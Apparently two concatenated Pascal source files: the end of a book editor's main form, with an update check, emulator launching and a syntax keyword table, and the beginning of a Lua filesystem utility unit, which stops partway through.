New:=lvImages.Items.Count;
for I:=0 to Editor.Lines.Count-1 do begin
S:=Editor.Lines[I];
S:=ReplaceText(S,Format('<img:%d:',[Idx]),'<img:000:');
for J:=Idx+1 to New do S:=ReplaceText(S,Format('<img:%d:',[J]),Format('<img:%d:',[J-1]));
S:=ReplaceText(S,'<img:000:',Format('<img:%d:',[New]));
Editor.Lines[I]:=S;
end;
lvImages.DeleteSelected;
Editor.Modified:=TRUE;
EditorChange(nil);
end;
procedure TfmMain.lvImagesEnter(Sender: TObject);
var
F: string;
begin
if lvImages.Selected=nil then Exit;
F:=ListItemFile(lvImages.Selected);
if MusType(AnsiUpperCase(ExtractFileExt(F)))<>'' then TfmShowMusic.ShowInfo(F) else TfmShowImage.ShowInfo(F);
Windows.SetFocus(lvImages.Handle);
end;
procedure TfmMain.lvImagesExit(Sender: TObject);
begin
TfmShowImage.HideInfo;
TfmShowMusic.HideInfo;
end;
procedure TfmMain.lvImagesSelectItem(Sender: TObject; Item: TListItem; Selected: Boolean);
begin
if Selected then lvImagesEnter(nil) else lvImagesExit(nil);
end;
procedure TfmMain.tmLoadTimer(Sender: TObject);
var
S: integer;
F: string;
const
GetJCView = 'GET http://%s:%d/demo/bookdoc/jCview.zip HTTP/1.0'#13#10+
'Host: %s:%d'#13#10+
'If-Modified-Since: %s'#13#10#13#10;
GetSetfile = 'GET http://%s:%d/demo/bookdoc/Bookedit.set HTTP/1.0'#13#10+
'Host: %s:%d'#13#10+
'If-Modified-Since: %s'#13#10#13#10;
begin
tmLoad.Enabled:=FALSE;
if FirstStartFlag and TfmFirstStart.ShowInfo then begin
FirstStartFlag:=FALSE;
SaveSettings;
end;
if (ParamCount=1) and FileExists(ParamStr(1)) then LoadFromFile(ParamStr(1));
StartHourGlass;
try
Indicate('Проверка обновлений...');
S:=ConnectProxySocket(Settings.JCHost,Settings.JCPort);
try
SendString(S,Format(GetJCView,[Settings.JCHost,Settings.JCPort,Settings.JCHost,Settings.JCPort,LastView]));
F:=ExtractFilePath(ParamStr(0))+'jcView\jcView.zip';
if ReceiveModifiedZip(S,LastView,F) then begin
Unzip.OpenArchive(F);
Unzip.BaseDirectory:=ExtractFilePath(F);
CheckDirectory(Unzip.BaseDirectory);
Unzip.ExtractFiles('*.*');
DeleteFile(F);
end;
finally
DisconnectSocket(S);
end;
S:=ConnectProxySocket(Settings.JCHost,Settings.JCPort);
try
SendString(S,Format(GetSetfile,[Settings.JCHost,Settings.JCPort,Settings.JCHost,Settings.JCPort,LastSet]));
ReceiveModifiedZip(S,LastSet,ExtractFilePath(ParamStr(0))+'Bookedit.set');
finally
DisconnectSocket(S);
end;
finally
EndHourGlass;
Indicate('');
end;
end;
procedure TfmMain.FormShow(Sender: TObject);
begin
tmLoad.Enabled:=TRUE;
end;
procedure TfmMain.lvImagesDblClick(Sender: TObject);
var
F: string;
begin
if lvImages.Selected<>nil then begin
OpenPictureDialog.FileName:=ListItemFile(lvImages.Selected);
if OpenPictureDialog.Execute then begin
F:=AddPicture(OpenPictureDialog.FileName);
FillListItem(lvImages.Selected,ExtractFilePath(FFileName)+F);
TfmShowImage.ShowInfo(ExtractFilePath(FFileName)+F);
Windows.SetFocus(lvImages.Handle);
Editor.Modified:=TRUE;
EditorChange(nil);
end;
end;
end;
function TfmMain.ListItemFile(LI: TListItem; NameOnly: boolean = FALSE): string;
begin
Result:=Trim(Split(2,LI.Caption,[':']));
if not NameOnly then Result:=ExtractFilePath(FFileName)+Result;
end;
function TfmMain.FindListItem(const F: string): integer;
begin
for Result:=0 to lvImages.Items.Count-1 do if AnsiCompareText(ListItemFile(lvImages.Items[Result],TRUE),F)=0 then Exit;
Result:=-1;
end;
procedure TfmMain.acHelpExecute(Sender: TObject);
begin
Application.HelpCommand(HELP_CONTEXT,0);
end;
procedure TfmMain.acVoteExecute(Sender: TObject);
var
SS: integer;
V: string;
begin
V:=TfmVote.ShowInfo;
if V<>'' then begin
SS:=Editor.GetSelStart;
Editor.SelText:=V;
Editor.SetSelStart(SS);
end;
end;
procedure TfmMain.acVictorExecute(Sender: TObject);
var
SS: integer;
V: string;
begin
V:=TfmVictor.ShowInfo;
if V<>'' then begin
SS:=Editor.GetSelStart;
Editor.SelText:=V;
Editor.SetSelStart(SS);
end;
end;
procedure TfmMain.AppException(Sender: TObject; E: Exception);
begin
ShowErr(E.Message+#13#10#13#10'Сообщение Windows: '+SysErrorMessage(GetLastError));
end;
procedure TfmMain.SMTPDisplay(Sender: TObject; Msg: String);
begin
Log(Msg);
end;
procedure TfmMain.SMTPSessionConnected(Sender: TObject; ErrCode: Word);
begin
Log('=== Session connected ===');
end;
procedure TfmMain.SMTPSessionClosed(Sender: TObject; ErrCode: Word);
begin
Log('=== Session closed ===');
end;
procedure TfmMain.stStatusDblClick(Sender: TObject);
begin
if stStatus.Font.Color=clRed then begin
FErrLine:=stStatus.Tag;
Editor.InvalidateLine(FErrLine);
Editor.TopLine:=FErrLine-(Editor.LinesInWindow div 2);
Editor.CaretY:=FErrLine;
Editor.CaretX:=1;
end;
end;
procedure TfmMain.LinksTimerTimer(Sender: TObject);
begin
LinksTimer.Enabled:=FALSE;
FillLinks;
end;
procedure TfmMain.SelTimerTimer(Sender: TObject);
var
P: string;
begin
SelTimer.Enabled:=FALSE;
P:=CurPara;
acAlignLeft.Checked:=AnsiCompareText(P,'<p>')=0;
acAlignRight.Checked:=AnsiCompareText(P,'<pr>')=0;
acAlignCenter.Checked:=AnsiCompareText(P,'<pc>')=0;
acAlignPoet.Checked:=AnsiCompareText(P,'<ps>')=0;
P:=AnsiUpperCase(Trim(Editor.Lines[Editor.CaretY-1]));
acMusic.Enabled:=IsStyleString(P);
end;
procedure TfmMain.EditorDropFiles(Sender: TObject; X,Y: Integer; Files: TStrings);
begin
if (Files.Count>0) and ConfirmSave then LoadFromFile(Files[0]);
end;
procedure TfmMain.EditorScrollHint(Sender: TObject; NewTopLine: Integer; var HintText: string);
var
I: integer;
PN,S: string;
begin
PN:='';
for I:=NewTopLine-1 downto 0 do begin
S:=Trim(Editor.Lines[I]);
if (S<>'') and (S[1]=':') then begin
PN:=Trim(Split(1,Copy(S,2,MaxInt),['(']));
break;
end;
end;
if PN<>'' then HintText:=Format('%s'#13#10'Страница: %s',[HintText,PN]);
end;
procedure TfmMain.MacroClick(Sender: TObject);
var
S: string;
begin
S:=Editor.SelText;
S:=ReplaceStr(ReplaceStr(Macro[(Sender as TMenuItem).Tag],'|',#13#10),'[...]',S);
Editor.SelText:=S;
end;
procedure TfmMain.acMacroExecute(Sender: TObject);
begin
if TfmEditMacro.ShowInfo then SaveSettings;
end;
function TfmMain.EditorToken: string;
var
L: string;
I,N: integer;
begin
Result:='';
with Editor do begin
if (Lines.Count=0) or (CaretY>Lines.Count) then Exit;
L:=Lines[CaretY-1];
N:=Length(L);
if N=0 then Exit;
I:=CaretX;
if I>N then Exit;
Result:=L[I];
while (I>0) and (L[I-1] in ['a'..'z','A'..'Z']) do begin
Result:=L[I-1]+Result;
dec(I);
end;
if (I>0) and (L[I-1] in ['/']) then begin
Result:=L[I-1]+Result;
dec(I);
end;
if (I>0) and (L[I-1] in ['<','$']) then Result:=L[I-1]+Result;
I:=CaretX;
if (I+1<=N) and (L[I] in ['<']) and (L[I+1] in ['/']) then begin
Result:=Result+L[I+1];
inc(I);
end;
while (I+1<=N) and (L[I+1] in ['a'..'z','A'..'Z']) do begin
Result:=Result+L[I+1];
inc(I);
end;
if (I+1<=N) and (L[I+1] in ['>',':']) then Result:=Result+L[I+1];
end;
end;
function TfmMain.CompletionProposalPaintItem(Key: string; Canvas: TCanvas; x,y: Integer): Boolean;
function Clr(C: TColor): string;
var
R,G,B: integer;
begin
BreakColor(C,R,G,B);
Result:=#1+chr(R)+chr(G)+chr(B);
end;
begin
Result:=TRUE;
if Key='' then Exit;
Canvas.Font:=Editor.Font;
case Key[1] of
'$': Key:=Clr(BookSyn.DirectiveAttri.Foreground)+Key;
'<': Key:=Clr(BookSyn.KeyAttri.Foreground)+Key;
end;
PretyTextOut(Canvas,x,y,#3'B'+Key);
end;
procedure TfmMain.acBookFormatExecute(Sender: TObject);
var
S: TStrings;
R,O: string;
I,J: integer;
function ReplaceChars(const S: string): string;
begin
Result:=S;
if (Result<>'') and (Result[1]='!') then Result:='!'+Copy(Result,2,MaxInt);
Result:=ReplaceStr(Result,'&','Ђ');
Result:=ReplaceStr(Result,'$','$');
Result:=ReplaceStr(Result,'%','%');
Result:=ReplaceStr(Result,'=','=');
Result:=ReplaceStr(Result,'<','<');
Result:=ReplaceStr(Result,'>','>');
Result:=ReplaceStr(Result,'Ђ','&');
Result:=ReplaceStr(Result,'«','"');
Result:=ReplaceStr(Result,'»','"');
Result:=ReplaceStr(Result,'…','...');
Result:=ReplaceStr(Result,'–','-');
Result:=ReplaceStr(Result,'—','-');
end;
begin
R:='';
S:=TStringList.Create;
try
S.Text:=Editor.SelText;
for I:=0 to S.Count-1 do begin
J:=Length(R);
if J>0 then SetLength(R,J-5);
O:=' <p>'+ReplaceChars(Trim(S[I]));
while Length(O)>Editor.RightEdge-4 do for J:=Editor.RightEdge-4 downto 0 do if O[J]=' ' then begin
R:=R+Copy(O,1,J-1)+#13#10' ';
O:=Copy(O,J+1,MaxInt);
break;
end;
R:=R+O+#13#10' ';
end;
finally
S.Free;
end;
Editor.SelText:=R;
end;
function WEn(Wnd: HWnd; Param: LParam): boolean; stdcall;
var
PID: Cardinal;
C: string;
Buf: array[0..255] of char;
begin
PID:=0;
GetWindowThreadProcessId(Wnd,PID);
GetWindowText(Wnd,PChar(@Buf),256);
C:=PChar(@Buf);
Result:=(PID<>Cardinal(Param)) or (C<>'NHAL Win32 Emulator 1.0');
if not Result then Emul:=Wnd;
end;
function CWEn(Wnd: HWnd; Param: LParam): boolean; stdcall;
var
C: string;
Buf: array[0..255] of char;
begin
GetClassName(Wnd,PChar(@Buf),256);
C:=PChar(@Buf);
Result:=C<>'KWY_NHAL_DISPLAY_CLASS';
if not Result then Dspl:=Wnd;
end;
function TfmMain.RunEmulator(const ID: string): THandle;
var
SI: TStartupInfo;
CL,F: string;
EC: Cardinal;
I: integer;
P,CP: TPoint;
N: TDateTime;
F1,F2: boolean;
const
aid = 'x-city-aid: ';
hst = 'x-city-host: ';
begin
LastAID:=ID;
Result:=0;
F:=ExtractFilePath(ParamStr(0))+'jCview\jCview.jad';
with TStringList.Create do try
LoadFromFile(F);
F1:=FALSE;
F2:=FALSE;
for I:=0 to Count-1 do begin
if Pos(aid,Strings[I])=1 then begin
Strings[I]:=aid+ID;
F1:=TRUE;
end;
if Pos(hst,Strings[I])=1 then begin
Strings[I]:=hst+Settings.JCHost+':'+IntToStr(Settings.JCPort);
F2:=TRUE;
end;
end;
if not F1 then Add(aid+ID);
if not F2 then Add(hst+Settings.JCHost+':'+IntToStr(Settings.JCPort));
SaveToFile(F);
finally
Free;
end;
FillChar(SI,SizeOf(SI),0);
FillChar(PI,SizeOf(PI),0);
SI.cb:=SizeOf(SI);
SI.dwFlags:=STARTF_USESHOWWINDOW;
SI.wShowWindow:=SW_HIDE;
CL:=Format(ExtractFilePath(ParamStr(0))+'MidpX\Midp2Exe\Midp2Exe.exe -jad "%s" -jar "%s"',[F,ChangeFileExt(F,'.jar')]);
if not CreateProcess(nil,PChar(CL),nil,nil,false,0,nil,nil,SI,PI) then ShowErr(SysErrorMessage(GetLastError));
repeat
Application.ProcessMessages;
until Application.Terminated or GetExitCodeProcess(PI.hProcess,EC) and (EC<>STILL_ACTIVE);
SI.wShowWindow:=SW_SHOWNORMAL;
CL:=ChangeFileExt(F,'.exe');
if not CreateProcess(nil,PChar(CL),nil,nil,false,0,nil,nil,SI,PI) then ShowErr(SysErrorMessage(GetLastError));
repeat
Application.ProcessMessages;
EnumWindows(@WEn,PI.dwProcessId);
until Application.Terminated or (Emul<>0) and IsWindow(Emul);
SetWindowText(Emul,'Эмулятор');
pnEmul.Caption:='';
if pnBook.Width=0 then pnBook.Width:=256;
with pnEmul.ClientToScreen(Point(0,0)) do SetWindowPos(Emul,HWND_TOPMOST,X,Y,0,0,SWP_NOSIZE);
repeat
Application.ProcessMessages;
EnumChildWindows(Emul,@CWEn,0);
until Application.Terminated or (Dspl<>0) and IsWindow(Dspl);
if IsWindow(Emul) and IsWindow(Dspl) then begin
GetCursorPos(CP);
N:=Now;
repeat
Application.ProcessMessages;
until (Now-N)>6/24/60/60;
P:=Point(70,360);
Windows.ClientToScreen(Dspl,P);
P:=Point(Round(P.X/Screen.Width*$10000),Round(P.Y/Screen.Height*$10000));
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE,P.X,P.Y,0,0);
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN,P.X,P.Y,0,0);
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP,P.X,P.Y,0,0);
P:=Point(Round(CP.X/Screen.Width*$10000),Round(CP.Y/Screen.Height*$10000));
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE,P.X,P.Y,0,0);
N:=Now;
repeat
Application.ProcessMessages;
until (Now-N)>1/24/60/60;
P:=Point(160,300);
Windows.ClientToScreen(Dspl,P);
P:=Point(Round(P.X/Screen.Width*$10000),Round(P.Y/Screen.Height*$10000));
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE,P.X,P.Y,0,0);
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN,P.X,P.Y,0,0);
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP,P.X,P.Y,0,0);
P:=Point(Round(CP.X/Screen.Width*$10000),Round(CP.Y/Screen.Height*$10000));
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE,P.X,P.Y,0,0);
tmEmul.Enabled:=TRUE;
end;
end;
procedure TfmMain.tmEmulTimer(Sender: TObject);
begin
if Emul=0 then begin
tmEmul.Enabled:=FALSE;
Exit;
end else if not IsWindow(Emul) then begin
Emul:=0;
pnEmul.Caption:='(эмулятор не запущен)';
tmEmul.Enabled:=FALSE;
Exit;
end;
with pnEmul.ClientToScreen(Point(0,0)) do SetWindowPos(Emul,HWND_TOPMOST,X,Y,0,0,SWP_NOACTIVATE or SWP_NOSIZE or SWP_NOZORDER);
end;
procedure TfmMain.StaticText2DblClick(Sender: TObject);
begin
if pnBook.Width=0 then pnBook.Width:=256 else pnBook.Width:=0;
end;
procedure TfmMain.acMakeSourceBookExecute(Sender: TObject);
var
y: integer;
L,R,T,tL: string;
A: TmwHighLightAttributes;
C: TColor;
B,I,U: boolean;
function BookCodeChar(C: char): string;
begin
case C of
'!': Result:='!';
'&': Result:='&';
'$': Result:='$';
'%': Result:='%';
'=': Result:='=';
'<': Result:='<';
'>': Result:='>';
'«': Result:='"';
'»': Result:='"';
'…': Result:='...';
'–': Result:='-';
'—': Result:='-';
else
Result:=C;
end;
end;
function BookCodeToken(const S: string): string;
var
I: integer;
begin
Result:='';
for I:=1 to Length(S) do Result:=Result+BookCodeChar(S[I]);
end;
begin
if not ShowCfm('Конвертировать исходник в книгу?') then Exit;
StartHourGlass;
try
C:=0;
B:=FALSE;
I:=FALSE;
U:=FALSE;
R:='$title '+ExtractFileName(FileName)+#13#10;
R:=R+'$background '+ColorWindowsToBook(Editor.Color)+#13#10;
R:=R+'$style pg background=255:255:127'#13#10;
R:=R+':root'#13#10;
for y:=1 to Editor.LineCount do begin
L:=Editor.Lines[y-1];
tL:=Trim(L);
if (tL<>'') and (tL[1]=':') then R:=R+'<p:pg>' else R:=R+'<p>';
BookSyn.SetRange(Editor.Lines.Objects[y-1]);
BookSyn.SetLine(L,y-1);
while not BookSyn.GetEol do begin
T:=BookSyn.GetToken;
A:=BookSyn.GetTokenAttribute;
T:=BookCodeToken(T);
if A.Foreground=Editor.Color then T:=' ' else begin
if A.Foreground<>C then begin
C:=A.Foreground;
R:=R+'<color:'+ColorWindowsToBook(C)+'>';
end;
if (fsBold in A.Style) and not B then begin
B:=TRUE;
R:=R+'<b>';
end else if not (fsBold in A.Style) and B then begin
B:=FALSE;
R:=R+'</b>';
end;
if (fsItalic in A.Style) and not I then begin
I:=TRUE;
R:=R+'<i>';
end else if not (fsItalic in A.Style) and I then begin
I:=FALSE;
R:=R+'</i>';
end;
if (fsUnderline in A.Style) and not U then begin
U:=TRUE;
R:=R+'<u>';
end else if not (fsUnderline in A.Style) and U then begin
U:=FALSE;
R:=R+'</u>';
end;
end;
R:=R+T;
BookSyn.Next;
end;
R:=R+#13#10;
end;
acFileNew.Execute;
Editor.Text:=R;
finally
EndHourGlass;
end;
end;
procedure TfmMain.StorageRestorePlacement(Sender: TObject);
var
F: string;
L: TStrings;
I: integer;
begin
F:=ChangeFileExt(ParamStr(0),'.set');
if FileExists(F) then with TIniFile.Create(F) do try
ReadSection('Book Keywords',BookSyn.KeyWords);
ReadSection('Script Keywords',BookSyn.ScriptKeyWords);
ReadSection('Script Functions',BookSyn.ScriptFuncs);
ReadSection('Completion Proposal',CompletionProposal.ItemList);
BookSyn.IdentifierChars:=ReadString('Syntax','IdentifierChars',BookSyn.IdentifierChars);
CompletionProposal.EndOfTokenChr:=ReadString('Syntax','EndOfTokenChr',CompletionProposal.EndOfTokenChr);
OpenPictureDialog.Filter:=ReadString('Filters','PictureDialog',OpenPictureDialog.Filter);
MusicOpenDialog.Filter:=ReadString('Filters','MusicDialog',MusicOpenDialog.Filter);
L:=TStringList.Create;
try
ReadSectionValues('Colors',L);
CNC:=L.Count;
CN:=AllocMem(SizeOf(CTbl)*CNC);
for I:=0 to CNC-1 do begin
CN^[I,0]:=L.Names[I];
CN^[I,1]:=L.Values[L.Names[I]];
end;
finally
L.Free;
end;
finally
Free;
end;
end;
initialization
CNC:=0;
CN:=nil;
Emul:=0;
Dspl:=0;
TB2Item.DrawGlyphProc:=@ImageListDraw;
TB2Item.DrawEdgeProc:=@ipDrawEdge;
CS:=TCriticalSection.Create;
LogFile:=ExtractFilePath(Application.ExeName)+'mail.log';
KeyWords:=TStringList.Create;
KeyWords.AddObject('$BACKGROUND',TObject(0));
KeyWords.AddObject('$DEFINE',TObject(1));
KeyWords.AddObject('$TITLE',TObject(2));
KeyWords.AddObject('$VOTE',TObject(3));
KeyWords.AddObject('$VOTETO',TObject(4));
KeyWords.AddObject('</B>',TObject(7));
KeyWords.AddObject('</BIG>',TObject(8));
KeyWords.AddObject('</COLOR>',TObject(11));
KeyWords.AddObject('</I>',TObject(16));
KeyWords.AddObject('</MONO>',TObject(23));
KeyWords.AddObject('</SMALL>',TObject(39));
KeyWords.AddObject('</U>',TObject(41));
KeyWords.AddObject('<A:',TObject(5));
KeyWords.AddObject('<ABOUNTME>',TObject(6));
KeyWords.AddObject('<ATTACH:',TObject(5));
KeyWords.AddObject('<B>',TObject(7));
KeyWords.AddObject('<BIG>',TObject(8));
KeyWords.AddObject('<BR>',TObject(9));
KeyWords.AddObject('<CHAT:',TObject(10));
KeyWords.AddObject('<COLOR:',TObject(11));
KeyWords.AddObject('<COLOR>',TObject(11));
KeyWords.AddObject('<COUNTER>',TObject(12));
KeyWords.AddObject('<ELSE>',TObject(17));
KeyWords.AddObject('<ELSEIF:',TObject(17));
KeyWords.AddObject('<ELSEIFMASK:',TObject(18));
KeyWords.AddObject('<ENDIF>',TObject(17));
KeyWords.AddObject('<FORUM:',TObject(13));
KeyWords.AddObject('<G:',TObject(14));
KeyWords.AddObject('<HR>',TObject(15));
KeyWords.AddObject('<I>',TObject(16));
KeyWords.AddObject('<IF:',TObject(17));
KeyWords.AddObject('<IFMASK:',TObject(18));
KeyWords.AddObject('<IMG:',TObject(19));
KeyWords.AddObject('<MASK>',TObject(20));
KeyWords.AddObject('<MCHAT:',TObject(21));
KeyWords.AddObject('<MFORUM:',TObject(22));
KeyWords.AddObject('<MONO>',TObject(23));
KeyWords.AddObject('<NICK>',TObject(24));
KeyWords.AddObject('<P>',TObject(25));
KeyWords.AddObject('<PAY:',TObject(26));
KeyWords.AddObject('<PAYME>',TObject(27));
KeyWords.AddObject('<PC>',TObject(28));
KeyWords.AddObject('<PCHAT:',TObject(29));
KeyWords.AddObject('<PFORUM:',TObject(30));
KeyWords.AddObject('<PR>',TObject(31));
KeyWords.AddObject('<PS>',TObject(32));
KeyWords.AddObject('<PSITE:',TObject(33));
KeyWords.AddObject('<SENDME>',TObject(34));
KeyWords.AddObject('<SHOWTOP>',TObject(35));
KeyWords.AddObject('<SHOWVOTE:',TObject(36));
KeyWords.AddObject('<SITE:',TObject(37));
KeyWords.AddObject('<SIZE>',TObject(38));
KeyWords.AddObject('<SMALL>',TObject(39));
KeyWords.AddObject('<STORE>',TObject(40));
KeyWords.AddObject('<U>',TObject(41));
KeyWords.AddObject('<VOTE:',TObject(42));
KeyWords.AddObject('<VOTEP:',TObject(43));
KeyWords.AddObject('<WRITETOP>',TObject(44));
KeyWords.AddObject('<Z:',TObject(45));
finalization
KeyWords.Free;
CS.Free;
end.
|
unit pLuaUtils;
{$mode objfpc}{$H+}
{$I pLua.inc}
interface
uses {$IFDEF LINUX}
BaseUnix
{$ENDIF}
{$IFDEF WINDOWS}
Windows
{$ENDIF}
, Classes, SysUtils,
Lua, pLua;
//fs namespace support
procedure plua_fs_register(L:Plua_State);
//dbg namespace support
procedure plua_dbg_register(L:Plua_State);
implementation
uses Forms, gstack, masks, pLuaObject;
const
Package_fs = 'fs';
Package_dbg = 'dbg';
Package_system = '__system';
const
AllMask = {$IFDEF WINDOWS}'*.*'{$ELSE}'*'{$ENDIF};
type
TFindFilesIteratorParams = record
Dir, WildCard:string;
Recursive:boolean
end;
{ TFindFilesIterator }
TFindFilesIteratorState = (stInit, stFindDirectoriesLoop, stFindDirectoriesNext, stFindFiles, stFindFilesLoop, stFindFilesNext, stComplete);
TFindFilesIteratorStackFrame = record
SR:TSearchRec;
Dir:string;
State:TFindFilesIteratorState;
end;
PFindFilesIteratorStackFrame = ^TFindFilesIteratorStackFrame;
TFindFilesIteratorStack = specialize TStack<PFindFilesIteratorStackFrame>;
TFindFilesIterator = class
private
FParams:TFindFilesIteratorParams;
FStack:TFindFilesIteratorStack;
procedure Clear;
function ProcessDir: string;
procedure PushFrame(const Dir:string);
procedure PopFrame(Force: boolean=False);
public
constructor Create(const Dir, WildCard:string; Recursive:boolean);
destructor Destroy;override;
function FetchNext:string;
end;
procedure FindFilesToList(const Dir, WildCard:string; Recursive:boolean; L:TStrings);
var Iter:TFindFilesIterator;
f:string;
begin
L.Clear;
Iter:=TFindFilesIterator.Create(Dir, WildCard, Recursive);
try
while true do
begin
f:=Iter.FetchNext;
if f = '' then break;
L.Add(f);
end;
finally
Iter.Free;
end;
end;
procedure FindFilesArgs(l : Plua_State; paramcount: Integer;
out Dir:string; out Recursive:boolean; out Mask:string );
begin
if not (paramcount in [2,3]) then
pLua_RaiseException(l, 'Dir, Recursive, [Mask] are expected.');
if paramcount < 3 then
begin
Mask:=AllMask;
end
else
begin
Mask:=plua_tostring(l, -1);
lua_pop(l, 1);
end;
Recursive:=lua_toboolean(l, -1);
lua_pop(l, 1);
Dir:=plua_tostring(l, -1);
lua_pop(l, 1);
end;
function plua_findfiles(l : PLua_State; paramcount: Integer) : integer;
var S:TStringList;
Recursive:boolean;
Dir, Mask:string;
begin
Result:=0;
FindFilesArgs(l, paramcount, Dir, Recursive, Mask);
S:=TStringList.Create;
try
FindFilesToList(Dir, Mask, Recursive, S);
plua_pushstrings(l, S);
Result:=1;
finally
S.Free;
end;
end;
function plua_findfiles_iterator(l : PLua_State) : integer; extdecl;
var paramcount:Integer;
user_obj:^TObject;
f:String;
begin
paramcount:=lua_gettop(l);
if paramcount <> 2 then
pLua_RaiseException(l, 'Invalid findfiles_iterator params');
//second param is not used actually
lua_pop(l, 1);
if not lua_isuserdata(l, -1) then
pLua_RaiseException(l, 'Invalid findfiles_iterator param1');
user_obj:=lua_touserdata(l, -1);
f:=TFindFilesIterator(user_obj^).FetchNext;
if f = '' then
lua_pushnil(l)
else
plua_pushstring(l, f);
Result:=1;
end;
function plua_iterfiles(l : PLua_State; paramcount: Integer) : integer;
var Iter:TFindFilesIterator;
f:string;
Recursive:boolean;
Dir, Mask:string;
begin
Result:=0;
FindFilesArgs(l, paramcount, Dir, Recursive, Mask);
Iter:=TFindFilesIterator.Create(Dir, Mask, Recursive);
f:=Iter.FetchNext;
lua_pushcfunction(l, @plua_findfiles_iterator);
plua_PushObjectAsUserData(l, Iter);
if f = '' then
lua_pushnil(l)
else
plua_pushstring(l, f);
Result:=3;
end;
{$IFDEF WINDOWS}
function FileTime2DateTime(FileTime: TFileTime): TDateTime;
var
LocalFileTime: TFileTime;
SystemTime: TSystemTime;
begin
FileTimeToLocalFileTime(FileTime, LocalFileTime) ;
FileTimeToSystemTime(LocalFileTime, SystemTime) ;
Result := SystemTimeToDateTime(SystemTime) ;
end;
{$ENDIF}
{
a recent FPC (at least 2.7.1) is required to have FileAge working properly under Windows
if not - uncomment following function.
function FileAge(const FileName: string; out FileDateTime: TDateTime; FollowLink: Boolean = True): Boolean;
Var
Info : TSearchRec;
A : Integer;
begin
for A:=1 to Length(FileName) do
If (FileName[A] in ['?','*']) then
Exit(False);
A:=faAnyFile; // <- fix for Windows is here
if Not FollowLink then
A:=A or faSymLink;
Result:=FindFirst(FileName,A,Info)=0;
If Result then
FileDateTime:=FileDatetoDateTime (Info.Time);
FindClose(Info);
end;
}
function plua_file_time(l : PLua_State; paramcount: Integer) : integer;
//returns creation and modification time for a file
var Filename:string;
MTime, CTime:TDateTime;
{$IFDEF LINUX}
fstat:stat;
{$ENDIF}
{$IFDEF WINDOWS}
fl:TSearchRec;
{$ENDIF}
begin
Result:=0;
if paramcount <> 1 then
pLua_RaiseException(l, 'Filename is expected.');
Filename:=plua_tostring(l, -1);
lua_pop(l, 1);
//modification time
if not FileAge(Filename, MTime, True) then
pLua_RaiseException(l, 'Error getting file modification time.');
lua_pushnumber(l, MTime);
//creation time
{$IFDEF LINUX}
if FpStat(Filename, {%H-}fstat)<>0 then
pLua_RaiseException(l, 'Error getting file creation time.');
CTime:=FileDatetoDateTime(fstat.st_ctime);
{$ENDIF}
{$IFDEF WINDOWS}
if FindFirst(FileName, faAnyFile, fl) <> 0 then
begin
FindClose(fl);
pLua_RaiseException(l, 'Error getting file creation time.');
end;
CTime:=FileTime2DateTime(fl.FindData.ftCreationTime);
FindClose(fl);
{$ENDIF}
lua_pushnumber(l, CTime);
Result:=2;
end;
function plua_file_size(l : PLua_State; paramcount: Integer) : integer;
var S:int64;
Filename:string;
{$IFDEF LINUX}
fstat:stat;
{$ENDIF}
{$IFDEF WINDOWS}
fl:TSearchRec;
{$ENDIF}
begin
Result:=0;
if paramcount <> 1 then
pLua_RaiseException(l, 'Filename is expected.');
Filename:=plua_tostring(l, -1);
lua_pop(l, 1);
{$IFDEF LINUX}
if FpStat(Filename, {%H-}fstat)<>0 then
pLua_RaiseException(l, 'Error getting file size.');
S:=fstat.st_size;
{$ENDIF}
{$IFDEF WINDOWS}
if FindFirst(FileName, faAnyFile, fl) <> 0 then
begin
FindClose(fl);
pLua_RaiseException(l, 'Error getting file size.');
end;
S:=((int64(fl.FindData.nFileSizeHigh)) shl 32) + fl.FindData.nFileSizeLow;
FindClose(fl);
{$ENDIF}
lua_pushnumber(l, S);
Result:=1;
end;
function plua_file_exists(l : PLua_State; paramcount: Integer) : integer;
var S:int64;
Filename:string;
{$IFDEF LINUX}
fstat:stat;
{$ENDIF}
{$IFDEF WINDOWS}
fl:TSearchRec;
{$ENDIF}
begin
Result:=0;
if paramcount <> 1 then
pLua_RaiseException(l, 'Filename is expected.');
Filename:=plua_tostring(l, -1);
lua_pop(l, 1);
lua_pushboolean(l, FileExists(FileName));
Result:=1;
end;
function plua_file_slurp(l : PLua_State; paramcount: Integer) : integer;
var Filename, S:string;
f:file;
FLen, FSize, BytesRead:int64;
Buf:array[0..65535] of byte;
begin
Result:=0;
if paramcount <> 1 then
pLua_RaiseException(l, 'Filename is expected.');
Filename:=plua_tostring(l, -1);
lua_pop(l, 1);
if not FileExists(Filename) then
pLua_RaiseException(l, 'File %s does not exist.', [FileName]);
AssignFile(f, Filename);
try
Reset(f,1);
FLen:=FileSize(f);
SetLength(S, FLen);
FSize:=0;
repeat
BlockRead(f, Buf, SizeOf(Buf), BytesRead);
Inc(FSize, BytesRead);
if BytesRead <= 0 then break;
if FSize > Length(S) then
begin
SetLength(S, Length(S) + BytesRead*4);
end;
Move(Buf, (@S[FSize - BytesRead + 1])^, BytesRead);
until false;
SetLength(S, FSize);
finally
CloseFile(f);
end;
lua_pushlstring(l, PChar(S), FSize);
Result:=1;
end;
function plua_dir_create(l : PLua_State; paramcount: Integer) : integer;
var Dir:string;
begin
Result:=0;
if paramcount <> 1 then
pLua_RaiseException(l, 'Directory name is expected.');
Dir:=plua_tostring(l, -1);
lua_pop(l, 1);
lua_pushboolean(l, ForceDirectories(Dir) );
Result:=1;
end;
function ExtractFilenameOnly(const Filename:string):string;
var F, Ext:string;
begin
F:=ExtractFileName(Filename);
Ext:=ExtractFileExt(F);
Result := Copy(F, 1, Length(F) - Length(Ext))
end;
function plua_parse_filename(l : PLua_State; paramcount: Integer) : integer;
var Filename:string;
begin
Result:=0;
if paramcount <> 1 then
pLua_RaiseException(l, 'File name is expected.');
Filename:=plua_tostring(l, -1);
lua_pop(l, 1);
plua_pushstring(l, ExtractFilePath(Filename));
plua_pushstring(l, ExtractFileName(Filename));
plua_pushstring(l, ExtractFilenameOnly(Filename));
plua_pushstring(l, ExtractFileExt(Filename));
